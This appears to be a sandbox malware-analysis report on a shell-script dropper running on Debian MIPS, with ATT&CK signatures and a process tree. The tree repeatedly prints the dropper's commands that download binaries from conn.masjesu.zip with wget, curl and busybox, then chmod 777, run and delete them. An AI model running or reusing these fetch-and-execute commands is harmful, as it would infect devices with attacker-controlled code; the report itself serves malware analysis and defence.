67c5086816abe89574a7b4a9f07895d19ed72ee94ad151dabcd3cc5b7ddcdf33

Analysis

max time kernel
104s
max time network
106s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
05/11/2024, 01:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
f0737205633c8b344ee6001be67a740cb91b2d5ef3c12ee08cd4dacf5daa5486.sh
Size 10KB
Sample241105-bc5pms1dme
SHA256 f0737205633c8b344ee6001be67a740cb91b2d5ef3c12ee08cd4dacf5daa5486
MD5 15f16e27280169ee39597dc6e6b333f6
SHA1 3db18b85a86c6aac4563b1f3949488db6db1973a
SHA512 391e2862e2bd6aa2eca440ec5953666d9d5b4afc7c966e0ba8f7a8daf639fa81f916ca6606e15d469850c9a7d2bfd3255387048c7af75d33ac3db089bdb28346
SSDEEP 96:YxpsCLn78dLA87RJ5RJRhRkF5T+LfjP8LTgTcT3MsRV13QR9R9RY5vFYMQaIEgLZ:K8dg68Heq3MsRX0j5J5u7eq3Msp1q5JX
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
824	chmod
878	chmod
901	chmod
916	chmod
992	chmod
1000	chmod
954	chmod
746	chmod
870	chmod
946	chmod
780	chmod
852	chmod
909	chmod
962	chmod
1021	chmod
739	chmod
886	chmod
894	chmod
970	chmod
1007	chmod
1014	chmod
754	chmod
863	chmod
939	chmod
977	chmod
923	chmod
931	chmod
984	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 64 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
801	busybox
869	busybox
874	wget
959	curl
1017	wget
745	busybox
792	curl
882	wget
958	wget
981	curl
988	wget
866	wget
877	busybox
919	wget
943	curl
1010	wget
867	curl
900	busybox
753	busybox
856	wget
935	wget
967	curl
973	wget
751	curl
846	busybox
885	busybox
898	curl
912	wget
974	curl
1018	curl
1020	busybox
750	wget
873	rm
890	wget
915	busybox
920	curl
945	busybox
961	busybox
966	wget
737	busybox
836	curl
1006	busybox
1011	curl
891	curl
893	busybox
908	busybox
983	busybox
742	wget
743	curl
936	curl
951	curl
979	rm
991	busybox
999	busybox
714	wget
906	curl
1004	curl
758	wget
997	curl
989	curl
1003	wget
897	wget
913	curl
875	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/uqxGfmgghyeS0N4QmCNcLmxDXxh1kXZIKk	curl
File opened for modification	/tmp/uVvuw8WIt0UjuXackA0g88SUmjZJuzINKh	curl
File opened for modification	/tmp/DoswgnyxtvfFpkbNWIIWhSMRjoolfUjsGj	curl
File opened for modification	/tmp/NBw0gxugiPYcZM6z76jDQDz9T4mD1WdrUk	curl
File opened for modification	/tmp/JYSiypHgdKvPrVsDBiJqHMad66MJk1jRfj	curl
File opened for modification	/tmp/EvWlLIIxkWvPxaurxw5MbD79dQtZJwstea	curl
File opened for modification	/tmp/BByVfQQeTu3jvqjA8TBo4yEEJuIrQLIkPV	curl
File opened for modification	/tmp/dqPFohY8qHZncAoy7ZfEkdXKgs1jWQ0GCK	curl
File opened for modification	/tmp/BByVfQQeTu3jvqjA8TBo4yEEJuIrQLIkPV	curl
File opened for modification	/tmp/phnJhtHRtHNMM1OSsAPpvVt1sAPWyABx7v	curl
File opened for modification	/tmp/DoswgnyxtvfFpkbNWIIWhSMRjoolfUjsGj	curl
File opened for modification	/tmp/7jhfuaeGIIZVN6u1BotZdkxr1BpaFEiMFz	curl
File opened for modification	/tmp/dnjawtNGlYGYrP2FqzdVvqvQzaxm2WrAfq	curl
File opened for modification	/tmp/e6cakyGw1xSrbfJa6d9xEnSDuB2S4Q42Ca	curl
File opened for modification	/tmp/m8PFv6F70kliiI1hLDQe7esRpPkWgIDctd	curl
File opened for modification	/tmp/zkfdXc6f8UZdGkk5GMAjPRDURVFk8sCEUb	curl
File opened for modification	/tmp/7jhfuaeGIIZVN6u1BotZdkxr1BpaFEiMFz	curl
File opened for modification	/tmp/dqPFohY8qHZncAoy7ZfEkdXKgs1jWQ0GCK	curl
File opened for modification	/tmp/uqxGfmgghyeS0N4QmCNcLmxDXxh1kXZIKk	curl
File opened for modification	/tmp/JYSiypHgdKvPrVsDBiJqHMad66MJk1jRfj	curl
File opened for modification	/tmp/NBw0gxugiPYcZM6z76jDQDz9T4mD1WdrUk	curl
File opened for modification	/tmp/uVvuw8WIt0UjuXackA0g88SUmjZJuzINKh	curl
File opened for modification	/tmp/phnJhtHRtHNMM1OSsAPpvVt1sAPWyABx7v	curl
File opened for modification	/tmp/EvWlLIIxkWvPxaurxw5MbD79dQtZJwstea	curl
File opened for modification	/tmp/m8PFv6F70kliiI1hLDQe7esRpPkWgIDctd	curl
File opened for modification	/tmp/zkfdXc6f8UZdGkk5GMAjPRDURVFk8sCEUb	curl
File opened for modification	/tmp/dnjawtNGlYGYrP2FqzdVvqvQzaxm2WrAfq	curl
File opened for modification	/tmp/e6cakyGw1xSrbfJa6d9xEnSDuB2S4Q42Ca	curl

/tmp/f0737205633c8b344ee6001be67a740cb91b2d5ef3c12ee08cd4dacf5daa5486.sh
/tmp/f0737205633c8b344ee6001be67a740cb91b2d5ef3c12ee08cd4dacf5daa5486.sh
1⤵
PID:707
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:709
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/zkfdXc6f8UZdGkk5GMAjPRDURVFk8sCEUb
  2⤵
  - System Network Configuration Discovery
  PID:714
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/zkfdXc6f8UZdGkk5GMAjPRDURVFk8sCEUb
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:727
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/zkfdXc6f8UZdGkk5GMAjPRDURVFk8sCEUb
  2⤵
  - System Network Configuration Discovery
  PID:737
- /bin/chmod
  chmod 777 zkfdXc6f8UZdGkk5GMAjPRDURVFk8sCEUb
  2⤵
  - File and Directory Permissions Modification
  PID:739
- /tmp/zkfdXc6f8UZdGkk5GMAjPRDURVFk8sCEUb
  ./zkfdXc6f8UZdGkk5GMAjPRDURVFk8sCEUb
  2⤵
  - Executes dropped EXE
  PID:740
- /bin/rm
  rm zkfdXc6f8UZdGkk5GMAjPRDURVFk8sCEUb
  2⤵
  PID:741
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/e6cakyGw1xSrbfJa6d9xEnSDuB2S4Q42Ca
  2⤵
  - System Network Configuration Discovery
  PID:742
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/e6cakyGw1xSrbfJa6d9xEnSDuB2S4Q42Ca
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:743
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/e6cakyGw1xSrbfJa6d9xEnSDuB2S4Q42Ca
  2⤵
  - System Network Configuration Discovery
  PID:745
- /bin/chmod
  chmod 777 e6cakyGw1xSrbfJa6d9xEnSDuB2S4Q42Ca
  2⤵
  - File and Directory Permissions Modification
  PID:746
- /tmp/e6cakyGw1xSrbfJa6d9xEnSDuB2S4Q42Ca
  ./e6cakyGw1xSrbfJa6d9xEnSDuB2S4Q42Ca
  2⤵
  - Executes dropped EXE
  PID:747
- /bin/rm
  rm e6cakyGw1xSrbfJa6d9xEnSDuB2S4Q42Ca
  2⤵
  PID:749
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/BByVfQQeTu3jvqjA8TBo4yEEJuIrQLIkPV
  2⤵
  - System Network Configuration Discovery
  PID:750
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/BByVfQQeTu3jvqjA8TBo4yEEJuIrQLIkPV
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:751
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/BByVfQQeTu3jvqjA8TBo4yEEJuIrQLIkPV
  2⤵
  - System Network Configuration Discovery
  PID:753
- /bin/chmod
  chmod 777 BByVfQQeTu3jvqjA8TBo4yEEJuIrQLIkPV
  2⤵
  - File and Directory Permissions Modification
  PID:754
- /tmp/BByVfQQeTu3jvqjA8TBo4yEEJuIrQLIkPV
  ./BByVfQQeTu3jvqjA8TBo4yEEJuIrQLIkPV
  2⤵
  - Executes dropped EXE
  PID:755
- /bin/rm
  rm BByVfQQeTu3jvqjA8TBo4yEEJuIrQLIkPV
  2⤵
  PID:757
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/JYSiypHgdKvPrVsDBiJqHMad66MJk1jRfj
  2⤵
  - System Network Configuration Discovery
  PID:758
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/JYSiypHgdKvPrVsDBiJqHMad66MJk1jRfj
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:759
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/JYSiypHgdKvPrVsDBiJqHMad66MJk1jRfj
  2⤵
  PID:777
- /bin/chmod
  chmod 777 JYSiypHgdKvPrVsDBiJqHMad66MJk1jRfj
  2⤵
  - File and Directory Permissions Modification
  PID:780
- /tmp/JYSiypHgdKvPrVsDBiJqHMad66MJk1jRfj
  ./JYSiypHgdKvPrVsDBiJqHMad66MJk1jRfj
  2⤵
  - Executes dropped EXE
  PID:781
- /bin/rm
  rm JYSiypHgdKvPrVsDBiJqHMad66MJk1jRfj
  2⤵
  PID:784
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/uVvuw8WIt0UjuXackA0g88SUmjZJuzINKh
  2⤵
  PID:786
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/uVvuw8WIt0UjuXackA0g88SUmjZJuzINKh
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:792
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/uVvuw8WIt0UjuXackA0g88SUmjZJuzINKh
  2⤵
  - System Network Configuration Discovery
  PID:801
- /bin/chmod
  chmod 777 uVvuw8WIt0UjuXackA0g88SUmjZJuzINKh
  2⤵
  - File and Directory Permissions Modification
  PID:824
- /tmp/uVvuw8WIt0UjuXackA0g88SUmjZJuzINKh
  ./uVvuw8WIt0UjuXackA0g88SUmjZJuzINKh
  2⤵
  - Executes dropped EXE
  PID:825
- /bin/rm
  rm uVvuw8WIt0UjuXackA0g88SUmjZJuzINKh
  2⤵
  PID:828
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/dnjawtNGlYGYrP2FqzdVvqvQzaxm2WrAfq
  2⤵
  PID:829
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/dnjawtNGlYGYrP2FqzdVvqvQzaxm2WrAfq
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:836
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/dnjawtNGlYGYrP2FqzdVvqvQzaxm2WrAfq
  2⤵
  - System Network Configuration Discovery
  PID:846
- /bin/chmod
  chmod 777 dnjawtNGlYGYrP2FqzdVvqvQzaxm2WrAfq
  2⤵
  - File and Directory Permissions Modification
  PID:852
- /tmp/dnjawtNGlYGYrP2FqzdVvqvQzaxm2WrAfq
  ./dnjawtNGlYGYrP2FqzdVvqvQzaxm2WrAfq
  2⤵
  - Executes dropped EXE
  PID:853
- /bin/rm
  rm dnjawtNGlYGYrP2FqzdVvqvQzaxm2WrAfq
  2⤵
  PID:855
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/DoswgnyxtvfFpkbNWIIWhSMRjoolfUjsGj
  2⤵
  - System Network Configuration Discovery
  PID:856
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/DoswgnyxtvfFpkbNWIIWhSMRjoolfUjsGj
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:857
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/DoswgnyxtvfFpkbNWIIWhSMRjoolfUjsGj
  2⤵
  PID:862
- /bin/chmod
  chmod 777 DoswgnyxtvfFpkbNWIIWhSMRjoolfUjsGj
  2⤵
  - File and Directory Permissions Modification
  PID:863
- /tmp/DoswgnyxtvfFpkbNWIIWhSMRjoolfUjsGj
  ./DoswgnyxtvfFpkbNWIIWhSMRjoolfUjsGj
  2⤵
  - Executes dropped EXE
  PID:864
- /bin/rm
  rm DoswgnyxtvfFpkbNWIIWhSMRjoolfUjsGj
  2⤵
  PID:865
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/NBw0gxugiPYcZM6z76jDQDz9T4mD1WdrUk
  2⤵
  - System Network Configuration Discovery
  PID:866
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/NBw0gxugiPYcZM6z76jDQDz9T4mD1WdrUk
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:867
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/NBw0gxugiPYcZM6z76jDQDz9T4mD1WdrUk
  2⤵
  - System Network Configuration Discovery
  PID:869
- /bin/chmod
  chmod 777 NBw0gxugiPYcZM6z76jDQDz9T4mD1WdrUk
  2⤵
  - File and Directory Permissions Modification
  PID:870
- /tmp/NBw0gxugiPYcZM6z76jDQDz9T4mD1WdrUk
  ./NBw0gxugiPYcZM6z76jDQDz9T4mD1WdrUk
  2⤵
  - Executes dropped EXE
  PID:871
- /bin/rm
  rm NBw0gxugiPYcZM6z76jDQDz9T4mD1WdrUk
  2⤵
  - System Network Configuration Discovery
  PID:873
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/dqPFohY8qHZncAoy7ZfEkdXKgs1jWQ0GCK
  2⤵
  - System Network Configuration Discovery
  PID:874
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/dqPFohY8qHZncAoy7ZfEkdXKgs1jWQ0GCK
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:875
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/dqPFohY8qHZncAoy7ZfEkdXKgs1jWQ0GCK
  2⤵
  - System Network Configuration Discovery
  PID:877
- /bin/chmod
  chmod 777 dqPFohY8qHZncAoy7ZfEkdXKgs1jWQ0GCK
  2⤵
  - File and Directory Permissions Modification
  PID:878
- /tmp/dqPFohY8qHZncAoy7ZfEkdXKgs1jWQ0GCK
  ./dqPFohY8qHZncAoy7ZfEkdXKgs1jWQ0GCK
  2⤵
  - Executes dropped EXE
  PID:879
- /bin/rm
  rm dqPFohY8qHZncAoy7ZfEkdXKgs1jWQ0GCK
  2⤵
  PID:881
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/m8PFv6F70kliiI1hLDQe7esRpPkWgIDctd
  2⤵
  - System Network Configuration Discovery
  PID:882
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/m8PFv6F70kliiI1hLDQe7esRpPkWgIDctd
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:883
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/m8PFv6F70kliiI1hLDQe7esRpPkWgIDctd
  2⤵
  - System Network Configuration Discovery
  PID:885
- /bin/chmod
  chmod 777 m8PFv6F70kliiI1hLDQe7esRpPkWgIDctd
  2⤵
  - File and Directory Permissions Modification
  PID:886
- /tmp/m8PFv6F70kliiI1hLDQe7esRpPkWgIDctd
  ./m8PFv6F70kliiI1hLDQe7esRpPkWgIDctd
  2⤵
  - Executes dropped EXE
  PID:887
- /bin/rm
  rm m8PFv6F70kliiI1hLDQe7esRpPkWgIDctd
  2⤵
  PID:889
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/uqxGfmgghyeS0N4QmCNcLmxDXxh1kXZIKk
  2⤵
  - System Network Configuration Discovery
  PID:890
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/uqxGfmgghyeS0N4QmCNcLmxDXxh1kXZIKk
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:891
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/uqxGfmgghyeS0N4QmCNcLmxDXxh1kXZIKk
  2⤵
  - System Network Configuration Discovery
  PID:893
- /bin/chmod
  chmod 777 uqxGfmgghyeS0N4QmCNcLmxDXxh1kXZIKk
  2⤵
  - File and Directory Permissions Modification
  PID:894
- /tmp/uqxGfmgghyeS0N4QmCNcLmxDXxh1kXZIKk
  ./uqxGfmgghyeS0N4QmCNcLmxDXxh1kXZIKk
  2⤵
  - Executes dropped EXE
  PID:895
- /bin/rm
  rm uqxGfmgghyeS0N4QmCNcLmxDXxh1kXZIKk
  2⤵
  PID:896
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/phnJhtHRtHNMM1OSsAPpvVt1sAPWyABx7v
  2⤵
  - System Network Configuration Discovery
  PID:897
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/phnJhtHRtHNMM1OSsAPpvVt1sAPWyABx7v
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:898
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/phnJhtHRtHNMM1OSsAPpvVt1sAPWyABx7v
  2⤵
  - System Network Configuration Discovery
  PID:900
- /bin/chmod
  chmod 777 phnJhtHRtHNMM1OSsAPpvVt1sAPWyABx7v
  2⤵
  - File and Directory Permissions Modification
  PID:901
- /tmp/phnJhtHRtHNMM1OSsAPpvVt1sAPWyABx7v
  ./phnJhtHRtHNMM1OSsAPpvVt1sAPWyABx7v
  2⤵
  - Executes dropped EXE
  PID:902
- /bin/rm
  rm phnJhtHRtHNMM1OSsAPpvVt1sAPWyABx7v
  2⤵
  PID:904
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/EvWlLIIxkWvPxaurxw5MbD79dQtZJwstea
  2⤵
  PID:905
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/EvWlLIIxkWvPxaurxw5MbD79dQtZJwstea
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:906
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/EvWlLIIxkWvPxaurxw5MbD79dQtZJwstea
  2⤵
  - System Network Configuration Discovery
  PID:908
- /bin/chmod
  chmod 777 EvWlLIIxkWvPxaurxw5MbD79dQtZJwstea
  2⤵
  - File and Directory Permissions Modification
  PID:909
- /tmp/EvWlLIIxkWvPxaurxw5MbD79dQtZJwstea
  ./EvWlLIIxkWvPxaurxw5MbD79dQtZJwstea
  2⤵
  - Executes dropped EXE
  PID:910
- /bin/rm
  rm EvWlLIIxkWvPxaurxw5MbD79dQtZJwstea
  2⤵
  PID:911
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/7jhfuaeGIIZVN6u1BotZdkxr1BpaFEiMFz
  2⤵
  - System Network Configuration Discovery
  PID:912
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/7jhfuaeGIIZVN6u1BotZdkxr1BpaFEiMFz
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:913
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/7jhfuaeGIIZVN6u1BotZdkxr1BpaFEiMFz
  2⤵
  - System Network Configuration Discovery
  PID:915
- /bin/chmod
  chmod 777 7jhfuaeGIIZVN6u1BotZdkxr1BpaFEiMFz
  2⤵
  - File and Directory Permissions Modification
  PID:916
- /tmp/7jhfuaeGIIZVN6u1BotZdkxr1BpaFEiMFz
  ./7jhfuaeGIIZVN6u1BotZdkxr1BpaFEiMFz
  2⤵
  - Executes dropped EXE
  PID:917
- /bin/rm
  rm 7jhfuaeGIIZVN6u1BotZdkxr1BpaFEiMFz
  2⤵
  PID:918
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/zkfdXc6f8UZdGkk5GMAjPRDURVFk8sCEUb
  2⤵
  - System Network Configuration Discovery
  PID:919
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/zkfdXc6f8UZdGkk5GMAjPRDURVFk8sCEUb
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:920
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/zkfdXc6f8UZdGkk5GMAjPRDURVFk8sCEUb
  2⤵
  PID:922
- /bin/chmod
  chmod 777 zkfdXc6f8UZdGkk5GMAjPRDURVFk8sCEUb
  2⤵
  - File and Directory Permissions Modification
  PID:923
- /tmp/zkfdXc6f8UZdGkk5GMAjPRDURVFk8sCEUb
  ./zkfdXc6f8UZdGkk5GMAjPRDURVFk8sCEUb
  2⤵
  - Executes dropped EXE
  PID:924
- /bin/rm
  rm zkfdXc6f8UZdGkk5GMAjPRDURVFk8sCEUb
  2⤵
  PID:926
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/e6cakyGw1xSrbfJa6d9xEnSDuB2S4Q42Ca
  2⤵
  PID:927
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/e6cakyGw1xSrbfJa6d9xEnSDuB2S4Q42Ca
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:928
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/e6cakyGw1xSrbfJa6d9xEnSDuB2S4Q42Ca
  2⤵
  PID:930
- /bin/chmod
  chmod 777 e6cakyGw1xSrbfJa6d9xEnSDuB2S4Q42Ca
  2⤵
  - File and Directory Permissions Modification
  PID:931
- /tmp/e6cakyGw1xSrbfJa6d9xEnSDuB2S4Q42Ca
  ./e6cakyGw1xSrbfJa6d9xEnSDuB2S4Q42Ca
  2⤵
  - Executes dropped EXE
  PID:932
- /bin/rm
  rm e6cakyGw1xSrbfJa6d9xEnSDuB2S4Q42Ca
  2⤵
  PID:934
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/BByVfQQeTu3jvqjA8TBo4yEEJuIrQLIkPV
  2⤵
  - System Network Configuration Discovery
  PID:935
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/BByVfQQeTu3jvqjA8TBo4yEEJuIrQLIkPV
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:936
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/BByVfQQeTu3jvqjA8TBo4yEEJuIrQLIkPV
  2⤵
  PID:938
- /bin/chmod
  chmod 777 BByVfQQeTu3jvqjA8TBo4yEEJuIrQLIkPV
  2⤵
  - File and Directory Permissions Modification
  PID:939
- /tmp/BByVfQQeTu3jvqjA8TBo4yEEJuIrQLIkPV
  ./BByVfQQeTu3jvqjA8TBo4yEEJuIrQLIkPV
  2⤵
  - Executes dropped EXE
  PID:940
- /bin/rm
  rm BByVfQQeTu3jvqjA8TBo4yEEJuIrQLIkPV
  2⤵
  PID:941
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/JYSiypHgdKvPrVsDBiJqHMad66MJk1jRfj
  2⤵
  PID:942
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/JYSiypHgdKvPrVsDBiJqHMad66MJk1jRfj
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:943
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/JYSiypHgdKvPrVsDBiJqHMad66MJk1jRfj
  2⤵
  - System Network Configuration Discovery
  PID:945
- /bin/chmod
  chmod 777 JYSiypHgdKvPrVsDBiJqHMad66MJk1jRfj
  2⤵
  - File and Directory Permissions Modification
  PID:946
- /tmp/JYSiypHgdKvPrVsDBiJqHMad66MJk1jRfj
  ./JYSiypHgdKvPrVsDBiJqHMad66MJk1jRfj
  2⤵
  - Executes dropped EXE
  PID:947
- /bin/rm
  rm JYSiypHgdKvPrVsDBiJqHMad66MJk1jRfj
  2⤵
  PID:949
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/uVvuw8WIt0UjuXackA0g88SUmjZJuzINKh
  2⤵
  PID:950
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/uVvuw8WIt0UjuXackA0g88SUmjZJuzINKh
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:951
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/uVvuw8WIt0UjuXackA0g88SUmjZJuzINKh
  2⤵
  PID:953
- /bin/chmod
  chmod 777 uVvuw8WIt0UjuXackA0g88SUmjZJuzINKh
  2⤵
  - File and Directory Permissions Modification
  PID:954
- /tmp/uVvuw8WIt0UjuXackA0g88SUmjZJuzINKh
  ./uVvuw8WIt0UjuXackA0g88SUmjZJuzINKh
  2⤵
  - Executes dropped EXE
  PID:955
- /bin/rm
  rm uVvuw8WIt0UjuXackA0g88SUmjZJuzINKh
  2⤵
  PID:957
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/dnjawtNGlYGYrP2FqzdVvqvQzaxm2WrAfq
  2⤵
  - System Network Configuration Discovery
  PID:958
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/dnjawtNGlYGYrP2FqzdVvqvQzaxm2WrAfq
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:959
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/dnjawtNGlYGYrP2FqzdVvqvQzaxm2WrAfq
  2⤵
  - System Network Configuration Discovery
  PID:961
- /bin/chmod
  chmod 777 dnjawtNGlYGYrP2FqzdVvqvQzaxm2WrAfq
  2⤵
  - File and Directory Permissions Modification
  PID:962
- /tmp/dnjawtNGlYGYrP2FqzdVvqvQzaxm2WrAfq
  ./dnjawtNGlYGYrP2FqzdVvqvQzaxm2WrAfq
  2⤵
  - Executes dropped EXE
  PID:963
- /bin/rm
  rm dnjawtNGlYGYrP2FqzdVvqvQzaxm2WrAfq
  2⤵
  PID:965
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/DoswgnyxtvfFpkbNWIIWhSMRjoolfUjsGj
  2⤵
  - System Network Configuration Discovery
  PID:966
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/DoswgnyxtvfFpkbNWIIWhSMRjoolfUjsGj
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:967
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/DoswgnyxtvfFpkbNWIIWhSMRjoolfUjsGj
  2⤵
  PID:969
- /bin/chmod
  chmod 777 DoswgnyxtvfFpkbNWIIWhSMRjoolfUjsGj
  2⤵
  - File and Directory Permissions Modification
  PID:970
- /tmp/DoswgnyxtvfFpkbNWIIWhSMRjoolfUjsGj
  ./DoswgnyxtvfFpkbNWIIWhSMRjoolfUjsGj
  2⤵
  - Executes dropped EXE
  PID:971
- /bin/rm
  rm DoswgnyxtvfFpkbNWIIWhSMRjoolfUjsGj
  2⤵
  PID:972
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/NBw0gxugiPYcZM6z76jDQDz9T4mD1WdrUk
  2⤵
  - System Network Configuration Discovery
  PID:973
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/NBw0gxugiPYcZM6z76jDQDz9T4mD1WdrUk
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:974
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/NBw0gxugiPYcZM6z76jDQDz9T4mD1WdrUk
  2⤵
  PID:976
- /bin/chmod
  chmod 777 NBw0gxugiPYcZM6z76jDQDz9T4mD1WdrUk
  2⤵
  - File and Directory Permissions Modification
  PID:977
